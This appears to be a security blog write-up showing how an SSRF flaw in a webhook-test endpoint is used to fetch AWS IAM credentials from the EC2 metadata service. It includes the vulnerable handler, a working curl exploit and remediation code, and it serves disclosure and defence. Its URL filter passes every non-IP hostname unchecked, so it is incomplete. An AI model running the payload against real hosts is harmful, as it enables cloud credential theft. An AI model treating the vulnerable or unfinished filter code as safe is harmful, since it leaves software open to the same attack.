striga
← Back to blog
Striga

SSRF to Cloud Metadata Service

Exploiting Server-Side Request Forgery to extract AWS credentials from EC2 metadata service.

Overview

A Server-Side Request Forgery (SSRF) vulnerability in a webhook processing feature allowed us to access the AWS EC2 instance metadata service, leading to credential theft and potential account takeover.

Vulnerability

The application allows users to configure webhook URLs for notifications:

@app.route('/webhook/test', methods=['POST'])
def test_webhook():
    url = request.json.get('url')
    response = requests.get(url)
    return jsonify({"status": response.status_code})

No validation is performed on the URL, allowing requests to internal resources.

Exploitation

AWS EC2 instances expose a metadata service at 169.254.169.254. By pointing the webhook to this address, we extracted IAM credentials:

curl -X POST https://target.com/webhook/test \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role"}'

Response:

{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2025-01-22T12:00:00Z"
}

Impact

  • Severity: High (CVSS 8.6)
  • Attack Vector: Network
  • Impact: AWS credential theft, potential full cloud account compromise

With the extracted credentials, an attacker could:

  1. Access S3 buckets and other AWS resources
  2. Enumerate cloud infrastructure
  3. Pivot to other services within the AWS account
  4. Exfiltrate sensitive data

Remediation

  1. Implement URL allowlisting for webhook destinations
  2. Block requests to private IP ranges and metadata endpoints
  3. Use IMDSv2 which requires session tokens
  4. Apply least-privilege IAM roles
from urllib.parse import urlparse
import ipaddress
 
BLOCKED_RANGES = [
    ipaddress.ip_network('169.254.0.0/16'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
]
 
def is_safe_url(url):
    parsed = urlparse(url)
    try:
        ip = ipaddress.ip_address(parsed.hostname)
        return not any(ip in network for network in BLOCKED_RANGES)
    except ValueError:
        return True  # Not an IP, resolve and check

References